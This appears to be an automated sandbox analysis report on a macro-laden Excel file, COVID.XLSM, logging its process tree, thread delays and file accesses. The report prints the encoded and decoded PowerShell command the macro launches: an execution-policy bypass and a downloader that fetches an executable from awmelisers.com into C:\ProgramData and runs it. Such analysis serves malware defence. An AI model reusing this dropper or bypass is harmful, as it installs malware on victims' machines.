Source:	Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb=C:\ source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: ws\System.Management.Automation.pdbpdbion.pdbamDa source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\dll\System.Management.Automation.pdb:\Pr source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbemen source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.2104776827.0000000002A07000.00000004.00000040.sdmp
Source:	Binary string: mscorrc.pdb source: powershell.exe, 00000004.00000002.2104791872.0000000002A10000.00000002.00000001.sdmp

Source: COVID.XLSM

Initial sample: OLE summary subject = Removed Hoo36:HA/HB/HQ and corresponding crosswalk and 2nd modifer codes per CABHA policy and IU82.

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3060

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: powershell.exe, 00000004.00000002.2103643804.0000000000372000.00000004.00000020.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Bypasses PowerShell execution policy

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwA

Encrypted powershell cmdline option found

Show sources

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded function PS-InstallerV2 { param( [Parameter(Mandatory=$true, Position=0)] [string] $link, [Parameter(Mandatory=$true, Position=1)] [string] $endpoint, [Parameter(Mandatory=$true, Position=2)] [string] $file_dir, [Parameter(Mandatory=$true, Position=3)] [string] $file_name, [Parameter(Mandatory=$true, Position=4)] [string]$extension, [Parameter(Mandatory=$true, Position=5)] [bool] $use_access, [Parameter(Position=6)] [string] $access_string ) $internal_memory = New-Object IO.MemoryStream $req_str = $link + "/" + $endpoint if ($use_access) { $req_str = $req_str + "/" + $access_string } $save_path = $file_dir + "\" + $file_name + "." + $extension $request = [System.Net.WebRequest]::Create("$req_str") $response = $request.GetResponse() $response_stream = $response.GetResponseStream() $response_stream.CopyTo($internal_memory) Set-Content $save_path -Value $internal_memory.ToArray() -Encoding Byte $response_stream.Close() $internal_memory.Close() Start-Process -FilePath $save_path}PS-InstallerV2 "https://awmelisers.com" "api/v3/achyranthes/contrapolarization/kulturkreis" "C:\ProgramData" "Awmelisers Service" "exe" $False
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded function PS-InstallerV2 { param( [Parameter(Mandatory=$true, Position=0)] [string] $link, [Parameter(Mandatory=$true, Position=1)] [string] $endpoint, [Parameter(Mandatory=$true, Position=2)] [string] $file_dir, [Parameter(Mandatory=$true, Position=3)] [string] $file_name, [Parameter(Mandatory=$true, Position=4)] [string]$extension, [Parameter(Mandatory=$true, Position=5)] [bool] $use_access, [Parameter(Position=6)] [string] $access_string ) $internal_memory = New-Object IO.MemoryStream $req_str = $link + "/" + $endpoint if ($use_access) { $req_str = $req_str + "/" + $access_string } $save_path = $file_dir + "\" + $file_name + "." + $extension $request = [System.Net.WebRequest]::Create("$req_str") $response = $request.GetResponse() $response_stream = $response.GetResponseStream() $response_stream.CopyTo($internal_memory) Set-Content $save_path -Value $internal_memory.ToArray() -Encoding Byte $response_stream.Close() $internal_memory.Close() Start-Process -FilePath $save_path}PS-InstallerV2 "https://awmelisers.com" "api/v3/achyranthes/contrapolarization/kulturkreis" "C:\ProgramData" "Awmelisers Service" "exe" $False			Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 'powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGU